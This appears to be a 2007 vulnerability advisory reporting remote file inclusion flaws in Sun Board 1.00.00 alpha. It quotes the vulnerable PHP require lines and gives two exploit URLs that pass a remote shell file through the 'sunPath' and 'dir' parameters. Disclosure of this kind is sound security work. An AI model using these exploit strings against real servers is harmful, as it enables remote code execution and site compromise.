Sun Board 1.00.00 alpha Remote File Inclusion Vulnerabilities

🗓️ 23 Jun 2007 00:00:00Reported by RootType

Alpha version of Sun Board 1.00.00 has multiple remote file inclusion vulnerabilitie


                                                #&nbsp;Sun&nbsp;Board&nbsp;1.00.00&nbsp;Alpha&nbsp;Multiple&nbsp;Remote&nbsp;File&nbsp;Inclusion&nbsp;Vulnerabilities

#&nbsp;D.Script&nbsp;:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://mesh.dl.sourceforge.net/sourceforge/sunboard/sunboard.zip

#&nbsp;V.Code&nbsp;:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;require&nbsp;$sunPath.'config.php';
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;require_once&nbsp;$sunPath.'dbms/'.$dbtype.'.php';
#&nbsp;In&nbsp;:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/include.php

#&nbsp;Exploits&nbsp;:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/include.php?sunPath=Shell.txt?

#&nbsp;V.Code&nbsp;2&nbsp;:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;?php&nbsp;require_once&nbsp;$dir.'/lib.php';&nbsp;?&gt;

#&nbsp;In&nbsp;:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/skin/board/default/doctype.php

#&nbsp;Exploits&nbsp;2&nbsp;:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/skin/board/default/doctype.php?dir=Shell.txt?

#&nbsp;Discovered&nbsp;by:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GoLd_M&nbsp;=&nbsp;[Mahmood_ali]

#&nbsp;Homepage:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://www.Tryag.Com/cc

#&nbsp;Sp.Thanx&nbsp;To&nbsp;:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Tryag-Team&nbsp;&amp;&nbsp;Asb-May's&nbsp;Group

23 Jun 2007 00:00Current

7.1High risk

Vulners AI Score7.1